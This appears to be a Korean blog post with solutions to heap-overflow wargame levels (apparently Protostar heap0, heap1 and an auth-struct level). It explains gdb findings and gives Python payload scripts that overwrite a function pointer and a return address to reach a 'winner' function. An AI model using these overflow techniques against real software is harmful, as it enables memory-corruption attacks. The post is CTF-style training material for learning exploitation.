auth->auth를 바꿔줘야합니다.

gdb로 까보니 auth->name은 eax(0x0804c008)에 저장이 되며, auth->auth는 eax+0x20의 위치에 존재했습니다.

service는 eax+0x10의 위치에 저장이 되었으며, 이로 인해 service 변수로 auth->auth를 덮을 수 있습니다.








이번에도 실행 흐름을 바꿔주는 문제네요.

그런데 함수를 따로 호출해주는 부분이 없습니다.

따라서 두 개의 strcpy를 이용하여 winner 함수로 분기를 시켜야하는데, 두 번째 strcpy에서 i2->name에 argv[2]를 저장합니다. 이 때, i1->name에서 overflow가 일어난다면, i2->name 부분의 주소를 임의로 바꿔 줄 수 있습니다. 이 말은, ret를 우리가 마음대로 주무를 수도 있고, got overwrite 또한 가능하다는 소리가 되겠네요.

저는 ret를 변경하는 것으로 풀이하였습니다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

winner = 0x8048494
system = 0xb7ecffb0
binsh = 0xb7fb63bf
ret = 0xbffffcac

payload = 'A'*20
payload += p(ret)

payload2 = p(winner)
print payload, payload2

heap1.py







이번에는 힙 오버플로우를 이용하여 다른 함수로 flow를 변경시키는 문제네요.

winner 함수를 호출하면 해결 되는 문제인 것 같습니다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

winner = 0x8048464
system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*72
payload += p(winner)

print payload

heap0.py


winner 함수의 주소를 구하고, d 구조체 뒤에 오는 f 구조체를 침범하도록 72바이트만큼 dummy byte를 덮어씌워주고 overwrite 해줍니다. 이 위치가 f 구조체의 fp 함수포인터의 위치입니다.





+ Recent posts